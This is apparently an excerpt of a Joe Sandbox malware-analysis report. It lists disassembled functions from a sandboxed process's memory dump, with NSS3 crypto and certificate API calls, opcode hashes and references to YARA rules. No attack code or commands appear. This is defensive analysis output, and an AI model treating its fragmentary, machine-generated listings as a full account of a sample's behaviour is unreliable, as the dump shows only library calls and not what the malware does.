PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CCC2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCC2E95

Part of subcall function 6CCB1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC588A4,00000000,00000000), ref: 6CCB1228
Part of subcall function 6CCB1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CCB1238
Part of subcall function 6CCB1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CC588A4,00000000,00000000), ref: 6CCB124B
Part of subcall function 6CCB1200: PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0,00000000,00000000,00000000,?,6CC588A4,00000000,00000000), ref: 6CCB125D
Part of subcall function 6CCB1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CCB126F
Part of subcall function 6CCB1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CCB1280
Part of subcall function 6CCB1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CCB128E
Part of subcall function 6CCB1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CCB129A
Part of subcall function 6CCB1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CCB12A1

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 5935794b3440a69b940feb2cda4bf9950fa45f66241163ed87e7ad78a2e2f2d4
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 5921D1B1E107454BEB00CF599D58BAA3764AFA130DF111269ED087B742F7B1E69882A3

Function 6CC404D0 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 6CC404F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC4053B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC40558
GetLastError.KERNEL32 ref: 6CC4057A

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorFileHandleInformationLast
String ID:
API String ID: 3051374878-0
Opcode ID: 27671cfb2c7546735e9ea22a31e7d5cbbc11cb5e577edf2961d24b5449a80367
Instruction ID: cd974ee4f56f647dc38a2f749c03c3ffa7c52da251eb67cabad88d460459e060
Opcode Fuzzy Hash: 27671cfb2c7546735e9ea22a31e7d5cbbc11cb5e577edf2961d24b5449a80367
Instruction Fuzzy Hash: AE215071A00118AFDB04DFA9DC94AAEB7B8FF89314B148069E809DB751D735ED05CBA0

Function 6CC569B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6CC56AB7,0000000C,00000001,00000000,?,?,6CC56AB7,?,00000000,?), ref: 6CC569CE

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

SEC_ASN1EncodeItem_Util.NSS3(6CC56AB7,0000001C,00000004,?,00000001,00000000), ref: 6CC56A06
SEC_ASN1EncodeItem_Util.NSS3(6CC56AB7,?,00000000,?,00000001,00000000,?,?,6CC56AB7,?,00000000,?), ref: 6CC56A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6CC56AB7,?,00000000,?), ref: 6CC56A42

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: 569a6db68275d47ef6f01948798c561f5535a62def52098581511ab13a79990c
Instruction ID: c159204820cfaec1fb1e4cc161d05af741945a630665160fdac588916adb30cb
Opcode Fuzzy Hash: 569a6db68275d47ef6f01948798c561f5535a62def52098581511ab13a79990c
Instruction Fuzzy Hash: 6A11E375640A06AFE710CE66DC84B5673ECEB0035DF908529EA19D7B05FB30E8B5C7A4

Function 6CC7ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC7ACC2

Part of subcall function 6CC52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CC52F0A
Part of subcall function 6CC52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC52F1D

Part of subcall function 6CC52AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CC50A1B,00000000), ref: 6CC52AF0
Part of subcall function 6CC52AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC52B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CC7AD5E

Part of subcall function 6CC957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CC5B41E,00000000,00000000,?,00000000,?,6CC5B41E,00000000,00000000,00000001,?), ref: 6CC957E0
Part of subcall function 6CC957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CC95843

CERT_DestroyCertList.NSS3(?), ref: 6CC7AD36

Part of subcall function 6CC52F50: CERT_DestroyCertificate.NSS3(?), ref: 6CC52F65
Part of subcall function 6CC52F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC52F83

free.MOZGLUE(?), ref: 6CC7AD4F

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 57c580974d16aad835c08c1195e47c743bfd0d2677c6b0a4df4b1a3ba2be9fd8
Instruction ID: 585d0d4356cd76540a7c7767dfc1a73beee4deccd55a9c4c55b0a2334670b2ed
Opcode Fuzzy Hash: 57c580974d16aad835c08c1195e47c743bfd0d2677c6b0a4df4b1a3ba2be9fd8
Instruction Fuzzy Hash: 0A21D1B1D002148BEB20DFA4E9055EEB7B4EF55248F455168D808BB610FB31EA69CBB6

Function 6CCAECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CCAF0AD,6CCAF150,?,6CCAF150,?,?,?), ref: 6CCAECBA

Part of subcall function 6CCB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC587ED,00000800,6CC4EF74,00000000), ref: 6CCB1000
Part of subcall function 6CCB0FF0: PR_NewLock.NSS3(?,00000800,6CC4EF74,00000000), ref: 6CCB1016
Part of subcall function 6CCB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC587ED,00000008,?,00000800,6CC4EF74,00000000), ref: 6CCB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CCAECD1

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CCAED02

Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CCAED5A

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: d85317d73d44723fa55a6d3e76a3c020910ed7761216f52e1bebdb954203a583
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 8321D1B1E007429BE700CF66D948B52B7E4BFA4308F25C259E81C87A61FB70E5A5C7D0

Function 6CC7C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6CC7C890

Part of subcall function 6CC78F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC78FAF
Part of subcall function 6CC78F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC78FD1
Part of subcall function 6CC78F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC78FFA
Part of subcall function 6CC78F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC79013
Part of subcall function 6CC78F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC79042
Part of subcall function 6CC78F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC7905A
Part of subcall function 6CC78F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC79073
Part of subcall function 6CC78F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC79111

PR_GetCurrentThread.NSS3 ref: 6CC7C8B2

Part of subcall function 6CD19BF0: TlsGetValue.KERNEL32(?,?,?,6CD60A75), ref: 6CD19C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CC7C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC7C8EB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 2af09bb324684a23436c966d9c23298c8faf438e4fd8ec2b1af659a2f0d396a8
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 6201DB76E012127BD7202BB9AC81BFF3A69DF4525CF040135FD04A6B11F761895893F2

Function 6CD6CB30 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 6CD19890: TlsGetValue.KERNEL32(?,?,?,6CD197EB), ref: 6CD1989E

EnterCriticalSection.KERNEL32(0000001E,?,?,00000000,?,6CCE5262,?,?,?,6CCDE333,?,?,6CCDDC77), ref: 6CD6CB47
_PR_MD_UNLOCK.NSS3(-0000001A,?,6CCE5262,?,?,?,6CCDE333,?,?,6CCDDC77), ref: 6CD6CB99
_PR_MD_NOTIFYALL_CV.NSS3(?,?,?,6CCE5262,?,?,?,6CCDE333,?,?,6CCDDC77), ref: 6CD6CBC3
_PR_MD_NOTIFY_CV.NSS3(?,?,?,6CCE5262,?,?,?,6CCDE333,?,?,6CCDDC77), ref: 6CD6CBD2

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionValue
String ID:
API String ID: 2782078792-0
Opcode ID: edfb600c47b6a1eb929573deacc847530d9cec1eeea09d40cfff47f0d38e2a7e
Instruction ID: 0a2a7f68c57f4199791d85cffe143bfa6bf4e729babd874ad37b4af879b8c370
Opcode Fuzzy Hash: edfb600c47b6a1eb929573deacc847530d9cec1eeea09d40cfff47f0d38e2a7e
Instruction Fuzzy Hash: 6411B471A05601EBDB10AF3AD840765B3A4FF8032DF188229D81857F21E731F895CBE1

Function 6CCA4900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6CC8C79F,?,?,6CCA5C4A,?), ref: 6CCA4950

Part of subcall function 6CCA8800: TlsGetValue.KERNEL32(?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8821
Part of subcall function 6CCA8800: TlsGetValue.KERNEL32(?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA883D
Part of subcall function 6CCA8800: EnterCriticalSection.KERNEL32(?,?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8856
Part of subcall function 6CCA8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CCA8887
Part of subcall function 6CCA8800: PR_Unlock.NSS3(?,?,?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8899

TlsGetValue.KERNEL32(?,?,?), ref: 6CCA496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCA497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCA4989

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 59e03fd8f714f8f20f473fa5461cebdda744f66153b2cd8922876b2406a013e3
Instruction ID: de8a6ec6d3fbaf6f9536d3f9c9c8f90c1251298b2cbb17383e73139857217240
Opcode Fuzzy Hash: 59e03fd8f714f8f20f473fa5461cebdda744f66153b2cd8922876b2406a013e3
Instruction Fuzzy Hash: 871129B2A001029BFB009FB4DC49A5673BCFF0636CB141429DA0587A11FB21E4268699

Function 6CCDEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CCC7FFA,?,6CCC9767,?,8B7874C0,0000A48E), ref: 6CCDEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CCC7FFA,?,6CCC9767,?,8B7874C0,0000A48E), ref: 6CCDEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CCC7FFA,?,6CCC9767,?,8B7874C0,0000A48E), ref: 6CCDEE14

Part of subcall function 6CCB0BE0: malloc.MOZGLUE(6CCA8D2D,?,00000000,?), ref: 6CCB0BF8
Part of subcall function 6CCB0BE0: TlsGetValue.KERNEL32(6CCA8D2D,?,00000000,?), ref: 6CCB0C15

memcpy.VCRUNTIME140(?,?,6CCC9767,00000000,00000000,6CCC7FFA,?,6CCC9767,?,8B7874C0,0000A48E), ref: 6CCDEE33

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 6a8a2e8b565831f1d626fb4116737c8a5d139cac5895cc5cb6af9e07315ce6a4
Instruction ID: 7b8634a485da9d5e6413426914b2c4a022ca9ea3ff68b25c2005340be868c4b4
Opcode Fuzzy Hash: 6a8a2e8b565831f1d626fb4116737c8a5d139cac5895cc5cb6af9e07315ce6a4
Instruction Fuzzy Hash: 81115EB1A00707ABEB109EA5DC84B46F3A8EB0435DF264539EA1996E40F731F464C7E1

Function 6CCC08D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CCC09B3,0000001A,?), ref: 6CCC08E9

Part of subcall function 6CCB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCB08B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CCC08FD

Part of subcall function 6CCAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CCA8D2D,?,00000000,?), ref: 6CCAFB85
Part of subcall function 6CCAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CCAFBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CCC0939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCC0953

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: b2eefc34c3c73ad321ccea6d9b035a3944c4bb142ba9233751393ed0609f91ed
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 5A01D2F1B0174A6FFB149B36AC10B673798AF4421CF14443DED1AC6A42FB32E4168B96

Function 6CCA49C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6CCA8800: TlsGetValue.KERNEL32(?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8821
Part of subcall function 6CCA8800: TlsGetValue.KERNEL32(?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA883D
Part of subcall function 6CCA8800: EnterCriticalSection.KERNEL32(?,?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8856
Part of subcall function 6CCA8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CCA8887
Part of subcall function 6CCA8800: PR_Unlock.NSS3(?,?,?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8899

PR_SetError.NSS3 ref: 6CCA4A10
TlsGetValue.KERNEL32(6CC9781D,?,6CC8BD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CCA4A24
EnterCriticalSection.KERNEL32(?,?,?,6CC8BD28,00CD52E8), ref: 6CCA4A39
PR_Unlock.NSS3(?,?,?,?,6CC8BD28,00CD52E8), ref: 6CCA4A4E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: a47d5ae8071f03ea38265387e688d120d45faf8dbe7dcc20c9094ab8f971eb1c
Instruction ID: a1d112e485d13f6c69c6c5f9f7a2c01f0041e1b9a371085852adb9686bfa13c4
Opcode Fuzzy Hash: a47d5ae8071f03ea38265387e688d120d45faf8dbe7dcc20c9094ab8f971eb1c
Instruction Fuzzy Hash: 15214DB5A046028FEB00EFB9C08956AB7F8FF45358B015929D9858BB01FB30E895CB95

Function 6CC4EAD0 Relevance: 6.1, APIs: 4, Instructions: 54networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6CC4EB13
htonl.WSOCK32(00000000,?), ref: 6CC4EB26
htons.WSOCK32(?), ref: 6CC4EB44
PR_GetCurrentThread.NSS3(?), ref: 6CC4EB58

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
